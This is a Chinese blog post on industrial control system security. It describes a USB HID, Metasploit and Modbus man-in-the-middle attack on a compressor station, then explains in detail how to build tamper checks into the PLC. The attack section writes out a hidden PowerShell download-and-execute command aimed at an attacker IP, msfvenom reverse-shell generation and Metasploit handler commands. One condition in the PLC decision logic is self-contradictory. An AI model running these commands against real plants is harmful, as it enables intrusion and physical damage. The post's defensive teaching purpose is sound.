news 2026/6/6 13:31:59

工业控制系统安全:利用现成工具的攻击与PLC内生防护实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
工业控制系统安全:利用现成工具的攻击与PLC内生防护实战

1. 项目概述:当“现成工具”成为工业网络的“隐形钥匙”

在工业自动化领域干了十几年,我见过太多工厂的工程师们把全部精力都放在确保PLC逻辑正确、电机转速稳定、阀门开关准时上,却往往对控制柜里那根不起眼的网线另一端的世界知之甚少。大家普遍有个根深蒂固的观念:工业网络是封闭的、物理隔离的,是“安全”的。然而,随着智能制造和工业物联网的浪潮,为了远程监控、数据上云、提升运维效率,这些曾经孤立的“岛屿”正被一座座“桥梁”连接到更广阔的网络世界,其中就潜藏着我们过去未曾重视的风险。

这篇分享源于我近期深度研究并复现的一篇学术论文中的核心场景,它赤裸裸地揭示了一个残酷现实:攻击工业控制系统,有时并不需要高深的黑客技术或定制的漏洞利用工具。一些在IT安全领域早已被熟知的、甚至能轻易网购到的“现成”硬件和软件工具,就能成为打开工业网络大门的“万能钥匙”。攻击的目标,往往是那些支撑着生产线、电网、水处理厂的核心协议,比如Modbus TCP。这个协议简单、高效、通用,是不同品牌设备间对话的“普通话”,但它诞生于一个信任内部网络的时代,天生缺乏加密、完整性校验和身份验证这些现代网络安全的基本要素。

这就好比用明信片传递机密指令:任何中途截获它的人,都能阅读、修改,甚至伪造一张新的放回去,而收信人根本无法辨别真伪。论文中,研究者在一个真实的压缩机站控制系统上,利用像Hak5的Rubber Ducky U盘这样的“小玩意”,配合经典的渗透测试框架,成功演示了如何从外部渗透,并实施隐蔽的数据篡改攻击。这不仅仅是学术推演,它映射的是每一个正在推进数字化转型的工厂都可能面临的真实威胁。因此,本文将深入拆解这种利用现成工具的威胁路径,并重点分享一种我们可以在现有PLC中直接编程实现、无需大规模改造网络架构的“接地气”防护思路——信号有效性监控与控制系统完整性检查。无论你是负责产线维护的工程师,还是规划工厂网络的IT人员,理解这些“矛”与“盾”,对于守护好生产的命脉都至关重要。

2. 威胁透视:现成攻击工具如何撬开工业网络大门

在IT领域,渗透测试工具如Metasploit、Nmap,以及硬件工具如Hak5系列产品,是安全人员用于评估系统脆弱性的常见装备。然而,当这些工具被恶意使用,且目标转向缺乏基本安全防护的工业网络时,它们就变成了极具破坏力的武器。攻击链条通常始于一次成功的“初始访问”,而社会工程学与这些现成工具的结合,使得突破边界变得异常简单。

2.1 攻击入口:社会工程学与硬件工具的“组合拳”

工业环境中最脆弱的一环往往是人。攻击者可能通过钓鱼邮件、伪装成维护人员的电话,或者在工厂周边丢弃特制的U盘(“丢包”攻击)来诱骗内部员工执行恶意操作。论文中重点演示的Hak5 Rubber Ducky就是一个典型例子。它外观与普通U盘无异,但内部是一个可编程的HID(人机接口设备)模拟器。一旦插入工控机或工程师站,它会被识别为键盘,并自动执行预编程的按键序列。

攻击复现核心步骤:

  1. 载荷制作:攻击者预先编写好Ducky Script脚本。这个脚本的功能通常是快速打开命令行,下载并执行一个反向Shell载荷。例如,脚本可能模拟按下Win+R,输入powershell -w hidden -c “IEX (New-Object Net.WebClient).DownloadString(‘http://攻击者IP/payload.ps1’)”,然后回车。
  2. 建立据点:攻击者在外网云服务器或自有主机上,使用Metasploit的msfvenom生成一个针对Windows系统的反向TCP Shell载荷,并启动一个监听器。
    # 生成载荷示例 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的公网IP LPORT=4444 -f exe -o payload.exe # 在Metasploit中启动监听 msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 0.0.0.0 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > exploit
  3. 触发与连接:当带有Rubber Ducky的U盘被插入目标工控机,脚本自动运行,从攻击者服务器下载payload.exe并执行。瞬间,工控机会主动向外网的监听器发起连接,为攻击者建立一个远程控制通道(Meterpreter会话)。

实操心得与避坑指南:

注意:在实际测试或防御演练中,必须严格在隔离的测试环境进行,任何未经授权的测试都是非法的。对于防御方,首要措施是禁用所有工控机、工程师站、HMI的USB存储设备自动运行功能,并通过组策略强制限制可执行文件的运行路径。员工安全意识培训也至关重要,需反复强调“来历不明的U盘绝不使用”。

2.2 横向移动:从工控机到PLC的致命跨越

获得工控机的控制权只是第一步。由于工业网络通常采用扁平化架构,安全域划分模糊,这台被攻陷的工控机往往与下层的PLC、HMI处于同一网段。攻击者便可以利用它作为跳板,直接扫描和攻击工业设备。

论文中演示了两种主要攻击模式:

  1. 合法客户端模拟攻击:攻击者直接在已控制的工控机上运行Modbus客户端仿真软件(如qModMaster),伪装成一个合法的HMI或SCADA客户端。由于Modbus协议没有设备身份认证,PLC无法区分这是真实的HMI还是恶意软件。攻击者可以随意读取所有寄存器数据(完成侦察),并写入任意值。例如,直接将压缩机压力保护设定值(Set Point)从1.05 p.u.修改为1.10 p.u.。
  2. 中间人攻击:这是一种更隐蔽、危害更大的方式。攻击者利用ARP欺骗工具(如Ettercap),在工控机(客户端)和PLC(服务器)之间充当“中间人”。他不仅可以窃听所有通信,还能实时篡改双向数据。论文中演示的“伪装”攻击尤为精妙:当操作员从HMI上修改设定值时,攻击者截获请求,将发送给PLC的值增加5%(例如1.05变为1.10),同时截获PLC的确认回复,将其中的值改回1.05再发给HMI。结果就是,操作员在HMI上看到设定值修改成功且显示为1.05,但PLC实际执行的却是1.10,为设备损坏埋下隐患。

工具与命令解析:

  • 网络侦察:在Meterpreter会话中,使用arpnetstat命令查看本地网络拓扑,用nmap扫描网段内的PLC设备(通常开放502端口)。
  • 路由转发:为了从攻击者本机直接访问工业内网,需要在Meterpreter会话中添加路由:run autoroute -s 192.168.0.0/24
  • 协议攻击:Metasploit内置了auxiliary/scanner/scada/modbusclient模块,可直接用于读写寄存器。

深度思考:为什么这些攻击能成功?根本原因在于工业通信协议的“纯真性”。以Modbus TCP为例,其报文完全明文传输,功能码(读/写)和寄存器地址暴露无遗,且没有任何机制验证报文是否被篡改或来源是否可信。这种设计在封闭网络中没问题,但在当前网络环境下,等同于“裸奔”。攻击者无需破解复杂加密,只需理解协议格式,就能构造或篡改任何指令。

3. 防御实战:构建基于PLC本体的“内生安全”监控机制

面对利用现成工具发起的协议级攻击,传统的IT防火墙和入侵检测系统往往力有不逮。它们可能无法深度解析工业协议,或者部署在网络边界,对已经渗透到内部的攻击无效。论文提出了一种思路非常巧妙的防护方法:将安全检测逻辑直接下沉到执行控制的核心——PLC中。这相当于给PLC赋予了“免疫系统”,使其能对接收到的指令和自身状态进行合理性判断。

3.1 核心防护理念:信号有效性监控

SVM的核心思想是,在控制逻辑中,对关键的过程变量和设定值增加一道“安检门”。这些关键信号通常包括:

  • 保护性调节器的设定值:如压力、温度、流量的高低限保护值。
  • 关键设备的启停命令
  • 模式切换指令

SVM机制持续检查这些信号的“健康”状态,包括但不限于:

  1. 变化速率限制:一个压力设定值在毫秒级内发生剧烈跳变,这不符合物理过程规律,很可能是恶意篡改。
  2. 数值范围限幅:检查信号是否始终在工艺允许的绝对上下限之内。
  3. 冻结检测:某个本应变化的信号(如流量计读数)长时间不变,可能意味着通信中断或数据被劫持后固定。
  4. 相关性校验:检查相关联的信号之间逻辑是否合理。例如,泵的运行状态信号为“运行”,但其出口压力信号却为零,这存在矛盾。

在PLC中实现SVM,本质上是编写一系列附加的功能块。以西门子S7-1500的SCL语言为例,一个简单的变化率限制检查功能块可能如下所示:

FUNCTION_BLOCK FB_SignalRateLimit VAR_INPUT CurrentValue: REAL; // 当前信号值 Ts: TIME := T#1S; // 采样周期 MaxRate: REAL; // 允许的最大变化率(单位/秒) END_VAR VAR_OUTPUT Valid: BOOL; // 信号是否有效 Alarm: BOOL; // 是否产生报警 END_VAR VAR LastValue: REAL; LastTime: TIME; Rate: REAL; END_VAR Rate := (CurrentValue - LastValue) / (TIME_TO_REAL( Ts ) / 1000.0); IF ABS(Rate) > MaxRate THEN Valid := FALSE; Alarm := TRUE; ELSE Valid := TRUE; Alarm := FALSE; END_IF; LastValue := CurrentValue;

实施要点:SVM的规则必须根据具体的工艺知识来定制。与工艺工程师紧密合作,确定每个关键信号的正常行为模式,是设计有效SVM的前提。规则不宜过严,以免误报影响生产;也不宜过松,否则会漏报攻击。

3.2 终极防线:控制系统完整性检查

CSIC是SVM的进阶和补充,它在检测到关键设定值发生变更时被触发。其核心是引入一个需要人工介入或多重验证的“二次确认”机制,专门防御那种精心构造的、能通过基础SVM检查的欺骗性修改。

以论文中的压缩机站为例,PIC-1101A(高压保护调节器)的设定值修改流程被CSIC加固:

  1. 触发条件:当HMI下发一个新的SP值到PLC时,CSIC机制启动。
  2. 逻辑校验:PLC立即读取当前的实际压力传感器值(PT-1101),计算新SP与当前实际值的差值。
  3. 规则判断:根据工艺安全要求,这个差值在正常操作下不应超过|0.05| p.u.(例如,当前压力是1.00 p.u.,新SP不应超过1.05或低于0.95)。如果差值在合理范围内,则可能允许直接修改(或仍需简单确认)。如果差值异常(例如试图在压力为1.00时直接将SP设为1.10),则进入增强验证流程。
  4. 增强验证流程: a.暂停应用:PLC暂不应用新SP,维持原安全参数运行。 b.弹出安全表单:在HMI上向操作员弹出一个特殊的安全确认窗口。这个窗口不仅要求确认,还要求操作员手动输入刚刚试图设定的SP值以及从现场压力表盘读出的实际压力值。 c.密码确认:最后,需要输入一个一次性或动态的管理员密码(可通过手机令牌等方式获取)。
  5. 决策与响应
    • 情况A(操作员失误):操作员输入正确的SP、正确的现场压力值(与PLC读取的传感器值一致)和正确密码。PLC记录此次异常事件日志,接受新SP,继续运行。
    • 情况B(中间人攻击):由于HMI上显示的是被篡改后的值(如1.05),而PLC收到的是攻击值(1.10),同时传感器真实值可能是1.00。操作员会困惑于安全表单的弹出。如果他输入了HMI显示的值(1.05)和现场观察值(1.00),PLC会发现:① 输入SP(1.05)与PLC实际接收SP(1.10)不符;② 输入现场值(1.00)与传感器值(1.00)相符;③ 差值(1.10-1.00=0.10)超限。此时,PLC可判定通信可能被劫持或系统正受攻击,立即触发安全停机程序,并发出最高级别警报。

CSIC的设计精髓

  • 打破自动化环路:在关键操作中引入不可自动化的、需要物理世界信息(现场表盘读数)和人员认知(核对数值)的环节。
  • 利用信息不对称:攻击者可以篡改网络数据,但很难同时篡改HMI显示值、PLC内存值和现场物理表盘值,并预测操作员的行为。CSIC通过比对这三个来源的信息,有效识别不一致。
  • 最小化对操作的影响:对于正常的、符合规则的修改,CSIC可以通过预配置的白名单或快速确认流程,做到几乎无感。只有异常修改才会触发增强验证。

4. 从理论到机柜:在真实PLC中实现防护逻辑

纸上谈兵终觉浅,绝知此事要躬行。下面,我将以在罗克韦尔ControlLogix PLC中实现一个简化的CSIC机制为例,拆解具体的编程步骤和工程细节。我们假设要保护一个重要的炉温设定值。

4.1 第一步:规划标签与数据结构

清晰的标签规划是成功的一半。我们需要在PLC中创建以下标签:

标签名数据类型描述
HMI_Temp_SPREALHMI发送来的温度设定值(可能被篡改)
PLC_Temp_SP_WorkingREALPLC实际使用的温度设定值
Temp_PVREAL温度传感器过程值(PV)
CSIC_ActiveBOOLCSIC检查激活标志
CSIC_MaxDeltaREAL允许的SP与PV最大差值(如50.0)
CSIC_SecurityForm_SPREAL安全表单中操作员输入的SP
CSIC_SecurityForm_PVREAL安全表单中操作员输入的现场PV
CSIC_AdminCodeDINT操作员输入的管理员验证码
CSIC_ExpectedCodeDINT系统生成的预期验证码(如来自短信令牌)
CSIC_TimerTIMER安全表单响应计时器
Alarm_Cyber_PossibleBOOL“疑似网络攻击”报警

4.2 第二步:编写CSIC主控例程

在周期性任务(如一个100ms的周期任务)中,添加以下梯形图逻辑:

  1. 触发判断:比较HMI_Temp_SPPLC_Temp_SP_Working。如果差值超过一个死区(例如0.1),且新值在绝对上下限内,则置位CSIC_Active,并启动CSIC_Timer(预设30秒)。

  2. 安全表单处理:当CSIC_Active为真时,PLC会通过通信指令(如CIP消息)通知HMI弹出安全确认对话框,要求输入三项信息。HMI将输入值写回PLC的对应标签。

  3. 核心验证逻辑:这是一个多条件的判断。

    • 条件1(数值一致性)ABS(HMI_Temp_SP - CSIC_SecurityForm_SP) < 0.01ABS(Temp_PV - CSIC_SecurityForm_PV) < 1.0。这检查操作员输入与PLC收到/测量的值是否一致。
    • 条件2(工艺合理性)ABS(CSIC_SecurityForm_SP - CSIC_SecurityForm_PV) <= CSIC_MaxDelta。这检查新的设定值相对于当前过程值是否在安全变化范围内。
    • 条件3(身份验证)CSIC_AdminCode == CSIC_ExpectedCode
    • 条件4(超时)CSIC_Timer.DN为假。
  4. 决策与输出

    • 如果条件1、2、3同时满足未超时:判定为合法操作。将HMI_Temp_SP赋值给PLC_Temp_SP_Working,复位CSIC_Active和报警,记录操作日志。
    • 如果超时条件3不满足:判定为验证失败。保持原PLC_Temp_SP_Working不变,触发“操作验证失败”报警,请求管理员介入,复位CSIC_Active
    • 如果条件1和2满足但条件3满足(或超时):这是最可疑的情况!可能意味着操作员看到了错误的值(HMI被篡改)。触发Alarm_Cyber_Possible,并可根据安全策略执行降级操作或安全停车。

编程注意事项

  • 原子操作:整个判断和赋值过程应在一个扫描周期内完成,避免在状态判断中间发生值变化,考虑使用一次性的ONS指令或程序锁。
  • 报警管理:所有CSIC相关事件,无论通过与否,都应记录到PLC的报警日志中,包括时间戳、旧SP值、新SP请求值、操作员输入值等,便于事后审计和追溯。
  • HMI界面设计:安全表单的HMI界面应设计得清晰、严肃,使用区别于普通操作窗口的颜色和图标,明确提示当前正在进行安全关键操作验证。

4.3 第三步:集成与测试策略

  1. 分阶段上线:首先在非关键、可安全试验的回路中实施CSIC,与操作员充分沟通新流程。
  2. 模拟攻击测试
    • 使用Modbus仿真软件,模拟攻击者向PLC的HMI_Temp_SP标签对应寄存器写入一个异常值。
    • 观察PLC是否正确触发CSIC流程,HMI是否弹出安全表单。
    • 尝试输入错误信息,验证报警是否正确触发。
  3. 性能评估:监控添加CSIC逻辑后,PLC的CPU负载率和程序扫描周期时间。论文中的实验显示,在ABB AC500 PLC上,此类逻辑增加的负载可忽略不计。但在大型、扫描周期苛刻的应用中仍需评估。
  4. 制定应急预案:明确当Alarm_Cyber_Possible触发时,操作员和维护人员应遵循的步骤,包括网络隔离检查、系统备份恢复等。

5. 常见问题与排查技巧实录

在实际部署和运维这种PLC内生的安全机制时,你可能会遇到以下典型问题。这里分享我的排查思路和解决经验。

5.1 问题一:误报率过高,影响正常生产操作

现象:CSIC机制频繁触发安全表单,甚至误报网络攻击,导致操作员抱怨,或被迫放宽规则使机制形同虚设。

排查与解决

  1. 检查SVM规则阈值:过严的变化率限制或范围限幅是首要怀疑对象。与工艺工程师一起回顾历史运行数据,绘制关键信号在正常大幅调整(如设备启动、配方切换)时的曲线,据此重新校准阈值。技巧:不要只取绝对最大值/最小值,可考虑使用“均值±3倍标准差”作为动态限值。
  2. 审查触发条件:检查“SP变化死区”设置是否过小。由于HMI数据刷新和网络通信可能存在微小波动,如果死区设为0,任何微小变化都会触发CSIC。通常设置一个略大于正常波动范围的值(如满量程的0.05%)。
  3. 分析HMI通信:确认HMI写命令是否是“单次触发”而非“连续写入”。有些HMI配置不当,会持续向PLC写入同一个值,即使操作员没有操作,这也会被PLC识别为“持续的变化请求”而触发CSIC。应在HMI侧将写操作配置为“On Release”或“Data Change”。
  4. 引入“维护模式”:为计划内的、大幅度的工艺调整(如检修后开车)设计一个临时的“维护模式”。在该模式下,可临时 bypass 部分过于敏感的CSIC检查,或提前预置合法的验证码。该模式必须通过高级别权限激活,并产生详细的审计日志。

5.2 问题二:安全表单流程导致控制响应延迟

现象:在需要快速调整参数的紧急工况下,等待操作员完成安全表单输入会导致控制动作延迟,可能引发工艺波动。

解决策略

  1. 分级分类:不是所有设定值都需要同样严格的CSIC。将信号分类:
    • A类(安全关键):如联锁值、保护停机值。必须使用完整CSIC,延迟可接受。
    • B类(工艺关键):如主要控制回路设定值。可使用简化CSIC(如只验证密码或只做范围检查)。
    • C类(一般参数):如显示参数、非关键设定。仅做SVM基础检查(范围、速率)。
  2. 优化表单设计:安全表单应默认填充PLC当前收到的请求值和传感器值,操作员只需核对并输入密码,减少输入工作量。对于触摸屏HMI,设计大按钮和清晰提示。
  3. 设置超时后备策略:如果CSIC流程超时(如操作员未响应),不应让系统“挂起”。应有一个明确的超时处理策略,例如:自动拒绝本次修改,恢复原值,并触发一个“操作未确认”的警告报警,而非直接升级为攻击警报。

5.3 问题三:如何应对更高级的、知晓内部规则的自适应攻击?

潜在威胁:如果攻击者通过长期侦察,完全掌握了SVM和CSIC的规则(例如,知道SP与PV的允许差值就是0.05 p.u.),他可能会发起更精巧的攻击,每次只篡改一点点,使变化落在规则允许范围内,逐步将系统推向危险边缘。

深度防御增强建议

  1. 引入随机性:在CSIC的验证环节加入轻微的非确定性。例如,允许的最大差值CSIC_MaxDelta不是一个固定值,而是在一个基础值上叠加一个小的、随日期或时间变化的随机偏移量(如0.05 ± 0.005)。攻击者难以精确预测。
  2. 多信号关联分析:将CSIC从单信号检查扩展到多信号关联。例如,修改炉温设定值时,不仅检查当前温度,还检查燃料阀位、风机转速等关联信号的变化趋势是否合理。这需要更复杂的工艺模型,但防御效果更好。
  3. 行为基线学习:在高级别PLC或上位机部署轻量级算法,学习操作员在正常工况下修改参数的习惯(如修改频率、通常修改的幅度、惯用的工位)。对偏离基线的操作(如深夜从非常用IP地址发起大幅修改)即使通过了基础CSIC,也触发额外审核。

5.4 问题四:如何与现有IT安全设施协同?

定位:PLC内的SVM/CSIC是最后一道、也是最贴近过程的防线。它不应取代传统网络安全措施,而应与之互补。

协同工作流

  1. 网络层:工业防火墙在区域边界严格限制Modbus TCP的访问源IP和功能码(例如,只允许HMI服务器IP向PLC写特定寄存器)。这能阻挡大部分外部扫描和非法客户端接入。
  2. 监控层:网络入侵检测系统监视工控网络流量,寻找ARP欺骗、异常扫描、不符合工控协议规范的畸形报文等。一旦发现,可发出警报。
  3. 终端层:在工控机、HMI上部署白名单软件,防止Rubber Ducky等恶意程序运行;严格管理USB端口。
  4. 控制器层(本方案):当以上各层都可能被绕过或失效时,PLC本体的SVM/CSIC作为最终裁决者,基于物理过程的真实性进行判断,防止恶意指令最终生效。

信息联动:当PLC的Alarm_Cyber_Possible被触发时,除了本地声光报警,还应通过日志服务器或安全信息与事件管理平台,将事件同步给IT安全运维中心,形成从OT到IT的完整威胁感知闭环。

最后我想说的是,工业网络安全没有一劳永逸的银弹。利用现成工具的攻击之所以危险,正因为它降低了攻击门槛。而我们提出的在PLC内部实现信号监控与完整性检查的方法,其最大价值在于将防护能力“固化”到控制逻辑中,成为生产流程的一部分。它不依赖于特定的网络设备或软件版本,只要PLC程序在运行,防护就在生效。这种方法实施成本低,尤其适合对现有系统进行加固。当然,它需要控制工程师和安全工程师跨域合作,深入理解工艺,才能设计出精准有效的规则。这是一个持续对抗和演进的过程,但第一步,永远是提高意识,并采取行动将安全设计融入控制系统的最底层。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/6 13:31:30

Himalaya实战教程:5分钟内将HTML转换为结构化JSON数据

Himalaya实战教程&#xff1a;5分钟内将HTML转换为结构化JSON数据 【免费下载链接】himalaya JavaScript HTML to JSON Parser 项目地址: https://gitcode.com/gh_mirrors/him/himalaya Himalaya是一款强大的JavaScript HTML to JSON Parser工具&#xff0c;能够帮助开发…

作者头像 李华
网站建设 2026/6/6 13:29:26

5款VLC皮肤:彻底改变你的播放器视觉体验

5款VLC皮肤&#xff1a;彻底改变你的播放器视觉体验 【免费下载链接】VeLoCity-Skin-for-VLC Castom skin for VLC Player 项目地址: https://gitcode.com/gh_mirrors/ve/VeLoCity-Skin-for-VLC VeLoCity-Skin-for-VLC是一款专为VLC播放器设计的定制皮肤项目&#xff0c…

作者头像 李华
网站建设 2026/6/6 13:29:12

Arabic Gigaword Third Edition数据集介绍,官网编号LDC2007T40

Arabic Gigaword Third Edition&#xff08;LDC2007T40&#xff09;是 LDC 于 2007 年发布的大规模现代标准阿拉伯语&#xff08;MSA&#xff09;新闻语料库&#xff0c;核心为多来源阿拉伯语新闻文本&#xff0c;适配语言模型训练、统计机器翻译、文本摘要等任务&#xff0c;是…

作者头像 李华
网站建设 2026/6/6 13:29:03

Sticky:为Linux桌面重新定义数字便签体验的轻量级工具

Sticky&#xff1a;为Linux桌面重新定义数字便签体验的轻量级工具 【免费下载链接】sticky A sticky notes app for the linux desktop 项目地址: https://gitcode.com/gh_mirrors/stic/sticky 在Linux桌面环境中&#xff0c;你是否曾因找不到合适的便签应用而苦恼&…

作者头像 李华
网站建设 2026/6/6 13:27:38

Japanese Web N-gram Version 1数据集介绍,官网编号LDC2009T08

LDC2009T08&#xff08;Japanese Web N-gram Version 1&#xff09;是 Google 提供、LDC 于 2009 年 3 月 17 日发布的大规模日语网络 N 元语法频率数据集&#xff0c;由 Taku Kudo 与 Hideto Kazawa 构建&#xff0c;包含 1-7 元语法及频次统计&#xff0c;源自约 200 亿条日语…

作者头像 李华